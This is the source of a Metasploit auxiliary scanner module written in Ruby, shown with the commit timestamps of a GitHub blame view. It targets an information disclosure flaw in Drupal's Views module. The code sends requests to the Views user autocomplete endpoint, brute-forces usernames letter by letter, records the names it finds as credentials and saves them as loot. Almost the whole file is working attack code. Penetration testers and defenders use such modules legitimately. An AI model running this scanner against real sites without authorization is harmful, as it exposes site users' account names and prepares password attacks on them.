metasploit-framework/modules/auxiliary/scanner/http/drupal_views_user_enum.rb

154 lines
4.0 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanServer
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Drupal Views Module Users Enumeration',
'Description' => %q{
This module exploits an information disclosure vulnerability in the 'Views'
module of Drupal, brute-forcing the first 10 usernames from 'a' to 'z'
},
'Author' =>
[
'Justin Klein Keane', #Original Discovery
'Robin Francois <rof[at]navixia.com>',
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://www.madirish.net/node/465'],
],
'DisclosureDate' => 'Jul 2 2010'
))
register_options(
[
OptString.new('TARGETURI', [true, "Drupal Path", "/"])
2013-08-30 21:28:54 +00:00
], self.class)
end
def base_uri
@base_uri ||= "#{normalize_uri(target_uri.path)}?q=admin/views/ajax/autocomplete/user/"
end
def check_host(ip)
2015-10-04 08:53:54 +00:00
res = send_request_cgi(
2013-08-30 21:28:54 +00:00
'uri' => base_uri,
'method' => 'GET',
'headers' => { 'Connection' => 'Close' }
2015-10-04 08:53:54 +00:00
)
2013-08-30 21:28:54 +00:00
2015-10-04 08:53:54 +00:00
unless res
return Exploit::CheckCode::Unknown
2015-10-04 08:53:54 +00:00
end
if res.body.include?('Access denied')
2013-08-30 21:28:54 +00:00
# This probably means the Views Module actually isn't installed
2016-02-01 22:06:34 +00:00
print_error("Access denied")
return Exploit::CheckCode::Safe
2015-10-04 08:53:54 +00:00
elsif res.message != 'OK' || res.body != '[ ]'
return Exploit::CheckCode::Safe
2013-08-30 21:28:54 +00:00
else
return Exploit::CheckCode::Appears
2013-08-30 21:28:54 +00:00
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
2015-06-16 05:02:02 +00:00
username: opts[:user]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
2013-08-30 21:28:54 +00:00
def run_host(ip)
# Check if remote host is available or appears vulnerable
unless check_host(ip) == Exploit::CheckCode::Appears
2013-08-30 21:28:54 +00:00
print_error("#{ip} does not appear to be vulnerable, will not continue")
return
end
2015-10-04 08:53:54 +00:00
print_status("Begin enumerating users at #{vhost}")
2013-08-30 21:28:54 +00:00
results = []
('a'..'z').each do |l|
vprint_status("Iterating on letter: #{l}")
2015-10-04 08:53:54 +00:00
res = send_request_cgi(
'uri' => "#{base_uri}#{l}",
2013-08-30 21:28:54 +00:00
'method' => 'GET',
'headers' => { 'Connection' => 'Close' }
2015-10-04 08:53:54 +00:00
)
2013-08-30 21:28:54 +00:00
2015-10-04 08:53:54 +00:00
if res && res.message == 'OK'
begin
user_list = JSON.parse(res.body)
rescue JSON::ParserError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
return []
end
2013-08-30 21:28:54 +00:00
if user_list.empty?
2015-10-04 08:53:54 +00:00
vprint_error("Not found with: #{l}")
2013-08-30 21:28:54 +00:00
else
2015-10-04 08:53:54 +00:00
vprint_good("Found: #{user_list}")
results << user_list.flatten.uniq
2013-08-30 21:28:54 +00:00
end
else
2016-02-01 22:06:34 +00:00
print_error("Unexpected results from server")
2013-08-30 21:28:54 +00:00
return
end
end
2015-10-04 08:53:54 +00:00
print_status("Done. #{results.length} usernames found...")
results.flatten.uniq.each do |user|
2013-08-30 21:28:54 +00:00
print_good("Found User: #{user}")
2015-06-16 05:02:02 +00:00
report_cred(
ip: Rex::Socket.getaddress(datastore['RHOST']),
port: datastore['RPORT'],
user: user,
2015-10-04 08:53:54 +00:00
proof: base_uri
2013-08-30 21:28:54 +00:00
)
end
2015-10-04 08:53:54 +00:00
results = results * "\n"
2013-08-30 21:28:54 +00:00
p = store_loot(
'drupal_user',
'text/plain',
Rex::Socket.getaddress(datastore['RHOST']),
2015-10-04 08:53:54 +00:00
results.to_s,
2013-08-30 21:28:54 +00:00
'drupal_user.txt'
)
print_status("Usernames stored in: #{p}")
end
2015-10-05 16:42:58 +00:00
end